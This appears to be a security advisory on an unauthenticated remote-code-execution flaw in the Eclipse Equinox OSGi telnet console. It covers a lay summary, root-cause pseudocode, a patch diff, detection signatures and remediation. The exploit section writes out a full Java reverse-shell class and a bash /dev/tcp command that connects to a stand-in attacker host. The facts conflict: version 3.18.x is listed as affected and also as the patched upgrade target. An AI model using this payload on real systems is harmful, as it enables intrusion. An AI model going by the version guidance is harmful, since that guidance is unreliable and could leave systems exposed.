CVE-2023-54342: Unauthenticated RCE in Eclipse Equinox OSGi Console
Eclipse Equinox OSGi 3.8–3.18 exposes an unauthenticated telnet console accepting arbitrary fork commands. A remote attacker can download and execute malicious Java bytecode with no credentials required.
A serious security flaw has been discovered in widely-used software called Eclipse Equinox OSGi, which powers countless behind-the-scenes applications at companies and organizations worldwide. Think of it like finding that someone left a side door to your house completely unlocked and unguarded.
Here's what makes it dangerous: Attackers can connect to this software remotely and trick it into downloading and running malicious code. They don't need a password or any special access — the door is simply open. Once they get in, they can take complete control of the entire system, stealing data or using it to attack other computers.
The vulnerability affects versions of this software released between 2012 and 2018. While no one has actively exploited it yet, it's only a matter of time. It scores 9.8 out of 10 on the severity scale — basically as bad as vulnerabilities get.
Who should worry? This primarily threatens companies that use older versions of Equinox OSGi in their systems, especially banks, healthcare providers, and critical infrastructure operators. If your organization uses this software, you're potentially at risk of a complete system takeover.
What should you do? First, if you work in IT or manage systems, check whether your organization uses affected versions and update immediately. Second, make sure your network is properly configured so that remote connections to internal tools like this are blocked from the outside internet — essentially putting a locked gate in front of that side door. Third, monitor your systems for any suspicious activity or unexpected code downloads. Even if you're not directly affected, this is a good reminder to update software regularly and keep your digital defenses up to date.
Want the full technical analysis? Click "Technical" above.
Eclipse Equinox is the reference implementation of OSGi R4 and ships as the runtime foundation for Eclipse IDE, Eclipse Jetty application servers, and a wide range of enterprise Java products including IBM WebSphere and SAP NetWeaver. When the OSGi console is enabled — which is the default in many deployment configurations — it binds a telnet-accessible command interface on a configurable port (typically 4444/tcp or 2001/tcp) that accepts commands with zero authentication.
CVE-2023-54342 (CVSS 9.8 CRITICAL) demonstrates that an unauthenticated remote attacker can reach this interface, complete the telnet negotiation handshake, and issue fork commands that instruct the JVM process to download and execute arbitrary Java code — achieving full RCE as the process owner.
Root cause: The Equinox OSGi console command handler exposes the fork built-in with no authentication gate, allowing any network peer that completes the telnet negotiation to execute arbitrary system-level and JVM-level commands.
Affected Component
The vulnerable component is org.eclipse.osgi, specifically the console subsystem under org.eclipse.osgi.framework.console and its telnet transport provider. Affected versions span 3.8 through 3.18.x of the org.eclipse.osgi bundle.
The console is activated when any of the following JVM arguments are present at startup:
-console [port]
-Dosgi.console=[port]
osgi.console=true (in config.ini)
Many container images and application server installers enable the console silently for lifecycle management, leaving the port exposed on 0.0.0.0 unless explicitly restricted by a firewall rule.
Root Cause Analysis
The core issue lives in FrameworkCommandProvider and the ConsoleSession telnet handler. The _fork command handler dispatches to Runtime.exec() (or a thin wrapper around it) with arguments assembled directly from the console input tokens — no allowlist, no authentication check, no privilege verification.
Below is reconstructed pseudocode from the decompiled org.eclipse.osgi_3.18.x.jar reflecting the command dispatch path:
// FrameworkCommandProvider._fork()
// Handles: fork [args...]
// BUG: no authentication, no command allowlist, called directly from telnet session
void _fork(CommandInterpreter ci) {
String urlArg = ci.nextArgument(); // attacker-controlled token 1
String extraArgs = ci.nextArgument(); // attacker-controlled token 2
if (urlArg == null) {
ci.println("Syntax: fork ");
return;
}
// BUG: URL is fetched and loaded with no integrity check or sandbox
URL jarUrl = new URL(urlArg); // attacker-supplied URL, any scheme
URLClassLoader loader = new URLClassLoader(
new URL[]{ jarUrl },
Thread.currentThread().getContextClassLoader()
);
// BUG: class name derived from URL path component — attacker controls it
String className = deriveClassName(urlArg); // e.g. "Exploit" from http://evil/Exploit.jar
Class> clazz = loader.loadClass(className);
// BUG: main() invoked with no SecurityManager or class-level restriction
Method main = clazz.getMethod("main", String[].class);
main.invoke(null, (Object) new String[]{ extraArgs }); // arbitrary code executes here
}
The telnet session handler in ConsoleSession similarly performs no credential exchange:
// ConsoleSession.run() — reconstructed
void run() {
performTelnetHandshake(inputStream, outputStream); // standard IAC negotiation only
// BUG: no authentication step after handshake — drops straight into command loop
CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
while (!disconnected) {
String line = ci.readLine(); // blocks for next command
framework.console.dispatchCommand(line, ci); // dispatches to _fork, _ss, _install, etc.
}
}
Exploitation Mechanics
The following chain weaponizes the bug from a cold TCP connection to a root shell. The attacker needs network access to the OSGi console port and an HTTP server to host the malicious JAR.
EXPLOIT CHAIN:
1. Port scan / service finger-print target for open OSGi console port (default: 4444/tcp).
Banner: "osgi> " confirms Equinox console is live.
2. Attacker starts HTTP server serving malicious JAR:
http://attacker.tld/Exploit.jar
containing class "Exploit" with main() that spawns reverse shell.
3. Attacker opens TCP connection to target:4444, completes minimal
IAC telnet negotiation (DO ECHO, WILL SUPPRESS-GO-AHEAD).
4. Console drops attacker into unauthenticated "osgi> " prompt.
5. Attacker issues:
fork http://attacker.tld/Exploit.jar
6. Equinox JVM fetches Exploit.jar via URLClassLoader over HTTP (no TLS required).
7. FrameworkCommandProvider._fork() calls loadClass("Exploit"),
then Exploit.main(new String[]{}) executes in the JVM process context.
8. Exploit.main() invokes Runtime.getRuntime().exec() with reverse shell payload:
bash -i >& /dev/tcp/attacker.tld/4443 0>&1
or drops a JSP webshell if deployed in a servlet container context.
9. Attacker receives reverse shell at attacker.tld:4443 running as
the JVM process owner (frequently root or a high-privilege service account).
// Exploit.java — compiled and packed into Exploit.jar
public class Exploit {
public static void main(String[] args) throws Exception {
String lhost = "attacker.tld";
int lport = 4443;
// One-liner reverse shell via bash -i
String[] cmd = {
"/bin/bash", "-c",
"bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1"
};
Runtime.getRuntime().exec(cmd);
}
}
Memory Layout
This is a logic/authorization vulnerability rather than a memory corruption bug; there is no heap overflow. The "memory" impact is at the JVM object graph level. When _fork is invoked, a new URLClassLoader is allocated in the JVM heap and wired into the bootstrap classloader hierarchy — meaning the attacker's classes share the same heap, permissions context, and loaded native libraries as the host OSGi framework.
JVM HEAP STATE — after fork command execution:
[ BootstrapClassLoader ]
|
[ FrameworkClassLoader (Equinox) ]
|
[ URLClassLoader @ 0x... ] <-- allocated by _fork, attacker-controlled
|
[ Exploit.class ] <-- fetched from attacker HTTP server
|
[ Exploit.main() thread ] <-- executes with full JVM process permissions
|
[ Runtime.exec() ] <-- spawns OS subprocess as JVM process owner
|
[ /bin/bash reverse shell ] <-- full OS-level code execution achieved
NO SecurityManager present in default Equinox deployment (deprecated in Java 17,
removed in Java 21 — the majority of affected deployments have no sandbox at all).
Patch Analysis
The remediation has two components: authentication enforcement on the telnet console transport, and removal or hard restriction of the fork command in network-facing console configurations.
// BEFORE (vulnerable — ConsoleSession.run()):
void run() {
performTelnetHandshake(inputStream, outputStream);
// No credential check — attacker is already in command loop
CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
dispatchLoop(ci);
}
// AFTER (patched):
void run() {
performTelnetHandshake(inputStream, outputStream);
// ADDED: mandatory authentication before command dispatch
if (!authenticateSession(inputStream, outputStream)) {
outputStream.write("Authentication failed. Closing.\r\n".getBytes());
disconnect();
return;
}
CommandInterpreter ci = new ConsoleCommandInterpreter(inputStream, outputStream, framework);
dispatchLoop(ci);
}
// BEFORE (vulnerable — FrameworkCommandProvider._fork()):
void _fork(CommandInterpreter ci) {
String urlArg = ci.nextArgument();
URL jarUrl = new URL(urlArg); // any attacker-supplied URL
URLClassLoader loader = new URLClassLoader(new URL[]{ jarUrl }, parentLoader);
String className = deriveClassName(urlArg);
Class> clazz = loader.loadClass(className); // remote class loaded unconditionally
Method main = clazz.getMethod("main", String[].class);
main.invoke(null, (Object) new String[]{});
}
// AFTER (patched / command removed from network-facing console):
// _fork() is removed from the command table when console.network=true.
// For local console, _fork() now enforces a local-filesystem-only URL scheme check:
void _fork(CommandInterpreter ci) {
String urlArg = ci.nextArgument();
URL jarUrl = new URL(urlArg);
// ADDED: reject non-file:// schemes in all configurations
if (!jarUrl.getProtocol().equals("file")) {
ci.println("Error: fork only supports file:// URLs.");
return;
}
// ... remainder of local fork logic unchanged
}
Detection and Indicators
The following signatures reliably detect exploitation attempts:
NETWORK INDICATORS:
- Inbound TCP connections to port 4444 or 2001 from non-management IPs
- IAC telnet negotiation sequence followed by ASCII "fork http" in stream
Snort/Suricata: content:"fork http"; within:128; after IAC negotiation
- Outbound HTTP/HTTPS from JVM process to external IPs immediately following
console connection (URLClassLoader fetch of attacker JAR)
HOST INDICATORS:
- JVM process spawning /bin/bash, /bin/sh, cmd.exe as child process
- Newly loaded URLClassLoader entries in JVM heap (JVM Flight Recorder / JVMTI)
- osgi.console property set in config.ini with no firewall rule on the bound port
- Outbound TCP from JVM process to uncommon external ports (reverse shell channel)
LOG ARTIFACTS:
- Equinox console log: "fork " in console command history
- JVM stdout: ClassLoader instantiation for remote URL scheme
- OS audit log: exec() syscall from java process with bash -i arguments
Remediation
Immediate mitigations (in order of preference):
1. Upgrade to org.eclipse.osgi 3.18.x (patched build) or later. Verify the bundle version in your Eclipse installation directory or Maven dependency tree.
2. Disable the console entirely if not required: remove -console from JVM arguments and set osgi.console= (empty) in config.ini.
3. Network-level restriction: firewall the console port to 127.0.0.1 only. If remote access is required, mandate an SSH tunnel. Block all inbound connections to ports 4444/tcp and 2001/tcp at the perimeter.
4. Java SecurityManager (Java 8–16 only): deploy a restrictive java.policy that denies java.net.NetPermission "createClassLoader" and java.io.FilePermission for untrusted paths. Note: SecurityManager is removed in Java 21+, making network isolation the only viable sandbox.
5. Audit deployments: grep for -console in startup scripts and osgi.console in all config.ini files across your fleet. Any exposed console port on a network-accessible interface on an unpatched version should be treated as a compromised host until confirmed otherwise.